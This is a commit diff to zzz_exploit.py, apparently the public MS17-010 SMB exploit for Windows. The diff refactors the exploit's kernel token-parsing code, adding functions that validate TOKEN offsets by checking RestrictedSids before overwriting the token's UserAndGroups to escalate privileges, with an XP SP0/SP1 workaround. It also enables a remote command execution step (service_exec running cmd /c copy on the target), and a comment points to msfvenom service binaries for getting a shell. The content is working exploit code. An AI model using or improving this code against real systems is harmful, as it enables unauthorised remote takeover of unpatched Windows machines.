test restricted SID values instead of group count

zzz_exploit.py

@@ -867,21 +867,8 @@ def exploit(target, pipe_name):
 		# copy Token data for restoration
 		tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
 
-
-		userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET']
-		userAndGroupCount = unpack_from('<I', tokenData, userAndGroupCountOffset)[0]
-		userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0]
-		# hack to fix XP SP0 and SP1
-		if info['os'] == 'WINXP' and info['arch'] == 'x86':
-			if userAndGroupCount > 4 or userAndGroupCount == 0: # check NULL too
-				print("Bad TOKEN offsets detected, performing workaround")
-				userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
-				userAndGroupCount = unpack_from('<I', tokenData, userAndGroupCountOffset)[0]
-				userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1'])[0]
-
-
-		print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
-		print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))
+		# parse necessary data out of token
+		userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData)
 
 		print('overwriting token UserAndGroups')
 		# modify UserAndGroups info
@@ -920,6 +907,55 @@ def exploit(target, pipe_name):
 	conn.get_socket().close()
 	return True
 
+def validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset):
+
+	RestrictedSidCount = unpack_from('<I', tokenData, userAndGroupCountOffset + 4)[0]  				# + sizeof(ULONG) (always 4)
+	RestrictedSids = unpack_from('<'+info['PTR_FMT'], tokenData, userAndGroupsAddrOffset + info['PTR_SIZE'])[0] 	# + sizeof(void*) (4 or 8)
+
+	userAndGroupCount = unpack_from('<I', tokenData, userAndGroupCountOffset)[0]
+	userAndGroupsAddr = unpack_from('<'+info['PTR_FMT'], tokenData, userAndGroupsAddrOffset)[0]
+
+	success = True
+
+	# RestrictedSids and RestrictedSidCount MUST be 0
+	# Could also add a failure point here if userAndGroupCount >= x
+	if RestrictedSids != 0 or RestrictedSidCount != 0:
+		print('Bad TOKEN_USER_GROUP offsets detected while parsing tokenData!')
+		print('RestrictedSids: 0x{:x}'.format(RestrictedSids))
+		print('RestrictedSidCount: 0x{:x}'.format(RestrictedSidCount))
+		success = False
+
+	print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
+	print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))
+
+	return success, userAndGroupCount, userAndGroupsAddr 
+
+def get_group_data_from_token(info, tokenData):
+	userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET']
+	userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET']
+
+	# try with default offsets
+	success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
+
+	# hack to fix XP SP0 and SP1
+	# I will avoid over-engineering a more elegant solution and leave this as a hack, 
+	# since XP SP0 and SP1 is the only edge case in a LOT of testing!
+	if not success and info['os'] == 'WINXP' and info['arch'] == 'x86':
+		print('Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround')
+
+		userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
+		userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1']
+
+		# try with hack offsets
+		success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
+
+	# still no good. Abort because something is wrong
+	if not success:
+		print('Bad TOKEN_USER_GROUP offsets. Abort > BSOD')
+		sys.exit()
+
+	# token parsed and validated
+	return userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset
 
 def smb_pwn(conn, arch):
 	smbConn = conn.get_smbconnection()
@@ -931,7 +967,7 @@ def smb_pwn(conn, arch):
 	smbConn.disconnectTree(tid2)
 
 	#smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
-	#service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
+	service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
 	# Note: there are many methods to get shell over SMB admin session
 	# a simple method to get shell (but easily to be detected by AV) is
 	# executing binary generated by "msfvenom -f exe-service ..."
@@ -1008,3 +1044,4 @@ def service_exec(conn, cmd):
 
 exploit(target, pipe_name)
 print('Done')
+